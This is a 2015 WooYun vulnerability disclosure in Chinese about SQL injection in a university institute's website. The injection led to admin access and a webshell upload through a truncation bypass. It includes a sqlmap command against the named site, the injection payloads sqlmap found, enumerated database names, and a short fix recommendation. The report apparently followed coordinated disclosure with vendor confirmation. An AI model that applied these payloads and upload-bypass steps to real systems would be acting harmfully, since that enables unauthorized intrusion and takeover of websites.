当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137076

漏洞标题:中国人民大学性社会学研究所网站存在SQL注射漏洞(可拿webshell)

相关厂商:中国人民大学

漏洞作者: 秦风

提交时间:2015-08-26 14:49

修复时间:2015-10-11 17:14

公开时间:2015-10-11 17:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-26: 细节已通知厂商并且等待厂商处理中
2015-08-27: 厂商已经确认,细节仅向厂商公开
2015-09-06: 细节向核心白帽子及相关领域专家公开
2015-09-16: 细节向普通白帽子公开
2015-09-26: 细节向实习白帽子公开
2015-10-11: 细节向公众公开

简要描述:

中国人民大学“性” 社会研究所,你懂的... 名字就很有吸引力

详细说明:

注入进后台, 截断上传拿webshell...

漏洞证明:

虽然没什么技术含量,不过挺经典的套路...
1.注入
http://www.sex-study.org/news.php?isweb=2&sort=15&id=2350
测试了下, id这个参数貌似没有注入, 而 sort 存在注入...

360桌面截图20150825232052.jpg


上sqlmap...

root@kali:~# sqlmap -u "http://www.sex-study.org/news.php?isweb=2&sort=15&id=2350" -p sort --dbms mysql --tables
[*] starting at 09:59:22
[09:59:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sort (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: isweb=2&sort=15) AND 9510=9510 AND (1124=1124&id=2350
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: isweb=2&sort=15) AND (SELECT 8781 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (CASE WHEN (8781=8781) THEN 1 ELSE 0 END)),0x7171786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7977=7977&id=2350
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: isweb=2&sort=15) AND (SELECT * FROM (SELECT(SLEEP(5)))qivq) AND (9845=9845&id=2350
---
[09:59:40] [INFO] testing MySQL
[09:59:40] [WARNING] reflective value(s) found and filtering out
[09:59:40] [INFO] confirming MySQL
[09:59:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[09:59:41] [INFO] fetching database names
[09:59:41] [INFO] the SQL query used returns 2 entries
[09:59:42] [INFO] retrieved: information_schema
[09:59:42] [INFO] retrieved: hdm0470019_db
[09:59:42] [INFO] fetching tables for databases: 'hdm0470019_db, information_schema'
[09:59:42] [INFO] the SQL query used returns 51 entries


admin-passwd_mak.jpg


2.web后台[像是自己做的...]

back-end.jpg


3.上传拿webshell
限制了后缀名,burp suite改包, 截断上传...

截断.jpg


4.webshell
老式菜刀 =_=*

柴刀.jpg


经典webshell...

shell-php.jpg


友情检测...end...
5.最后看了一下IP...
吓尿了!!!阿里巴巴!!!
额....估计是阿里的vps吧......

360桌面截图20150826120611.jpg


修复方案:

完善过滤,隐藏后台,安装安全软件等

版权声明:转载请注明来源 秦风@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-27 17:13

厂商回复:

已通知相关人员进行处理

最新状态:

暂无


漏洞评价:

评论